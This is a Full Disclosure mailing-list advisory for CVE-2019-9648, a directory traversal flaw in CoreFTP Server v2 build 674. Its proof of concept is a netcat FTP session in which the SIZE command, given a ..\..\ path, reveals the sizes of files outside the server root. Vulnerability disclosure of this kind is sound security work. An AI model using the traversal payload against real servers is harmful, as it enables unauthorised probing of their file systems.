full-disclosure - [FD] CVE-2019-9648 CoreFTP Server FTP / SFTP Server v2

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Message-ID: <CAM-upGobVChe9tPo2MYde5EuMY4mczr7wzfqFJ_68nmWP+C93A@mail.gmail.com>
Date: Mon, 11 Mar 2019 13:29:00 -0400
From: Kevin R <krandall2013@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2019-9648 CoreFTP Server FTP / SFTP Server v2 - Build 674
 SIZE Directory Traversal

CVE-2019-9648

CoreFTP Server FTP / SFTP Server v2 - Build 674  SIZE Directory Traversal

Discovered By: Kevin Randall

Summary: By utilizing a directory traversal along with the FTP SIZE
command, an attacker can browse outside the root directory to determine if
a file exists based on return file size by using a ..\..\ technique

Tools used:

Parrot OS VM

Windows 7 VM

FTP / SFTP Server v2 - Build 674

Netcat

Proof of Concept (PoC):

File 1: ARP.exe

Type of file: Application(.EXE)

Description: TCP/IP Arp Command

Location: C:\Windows\System32\

Size: 20.5 KB (20,992 bytes)

Size on disk: 24.0 KB (24,576 bytes)

Created: Monday July 13, 2009 7:55:11 PM

Modified: Monday July 13, 2009, 9:14:12 PM

Accessed: Monday July 13, 2009 7:55:11 PM

#nc -nv 192.168.0.2 21

(UNKNOWN) [192.168.0.2] 21 (ftp) open

220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago
Unregistered

USER anonymous

331 password required for anonymous

PASS anonymous@

230-Logged on

230

SIZE C:\..\..\..\..\..\..\Windows\System32\ARP.exe

213 20992

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